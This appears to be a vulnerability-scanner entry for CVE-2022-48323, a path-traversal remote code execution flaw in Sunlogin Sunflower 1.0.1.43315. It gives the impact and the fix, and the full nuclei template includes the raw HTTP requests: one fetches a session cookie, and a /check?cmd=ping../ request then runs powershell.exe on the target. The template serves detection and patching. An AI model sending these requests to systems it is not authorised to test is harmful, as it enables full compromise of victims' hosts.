Sunflower Simple and Personal 1.0.1.43315 - Remote Code Execution

criticalseverity

9.8CVSS score

56.8%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Sunlogin Sunflower Simplified (aka Sunflower Simple and Personal) 1.0.1.43315 is vulnerable to a path traversal issue. A remote and unauthenticated attacker can execute arbitrary programs on the victim host by sending a crafted HTTP request, as demonstrated by /check?cmd=ping../ followed by the pathname of the powershell.exe program.

Impact

Unauthenticated attackers can exploit path traversal to execute arbitrary programs on the victim host, potentially executing PowerShell commands and gaining full system control over the remote desktop application server.

Fix

Upgrade Sunlogin Sunflower to a version newer than 1.0.1.43315 that properly validates command parameters and prevents path traversal to system executables.

How to confirm it

Send: POST /cgi-bin/rpc ; GET /check?cmd=ping../../../windows/system32/windowspowershell/v1.0/powershell.exe+ipconfig
Positive when: status_code_1==200 and status_code_2==200 and contains(body_1, 'verify_string') and contains(body_2, 'Windows IP')

Run it with nuclei: nuclei -id CVE-2022-48323 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-48323

info:
  name: Sunflower Simple and Personal 1.0.1.43315 - Remote Code Execution
  author: daffainfo
  severity: critical
  description: |
    Sunlogin Sunflower Simplified (aka Sunflower Simple and Personal) 1.0.1.43315 is vulnerable to a path traversal issue. A remote and unauthenticated attacker can execute arbitrary programs on the victim host by sending a crafted HTTP request, as demonstrated by /check?cmd=ping../ followed by the pathname of the powershell.exe program.
  impact: |
    Unauthenticated attackers can exploit path traversal to execute arbitrary programs on the victim host, potentially executing PowerShell commands and gaining full system control over the remote desktop application server.
  remediation: |
    Upgrade Sunlogin Sunflower to a version newer than 1.0.1.43315 that properly validates command parameters and prevents path traversal to system executables.
  reference:
    - https://www.1024sou.com/article/741374.html
    - https://copyfuture.com/blogs-details/202202192249158884
    - https://www.cnvd.org.cn/flaw/show/CNVD-2022-10270
    - https://www.cnvd.org.cn/flaw/show/CNVD-2022-03672
    - https://asec.ahnlab.com/en/47088/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-48323
    cwe-id: CWE-22
    epss-score: 0.56787
    epss-percentile: 0.99072
    cpe: cpe:2.3:a:sunlogin:sunflower:1.0.1.43315:*:*:*:simple:*:*:*
  metadata:
    max-request: 2
    vendor: sunlogin
    product: sunflower
  tags: cve,cve2022,sunflower,rce,vkev,vuln

http:
  - raw:
      - |
        POST /cgi-bin/rpc HTTP/1.1
        Host: {{Hostname}}

        action=verify-haras

      - |
        GET /check?cmd=ping../../../windows/system32/windowspowershell/v1.0/powershell.exe+ipconfig HTTP/1.1
        Host: {{Hostname}}
        Cookie: CID={{cid}}

    extractors:
      - type: regex
        name: cid
        internal: true
        group: 1
        regex:
          - '"verify_string":"(.*?)"'
    matchers:
      - type: dsl
        dsl:
          - "status_code_1==200"
          - "status_code_2==200"
          - "contains(body_1, 'verify_string')"
          - "contains(body_2, 'Windows IP')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from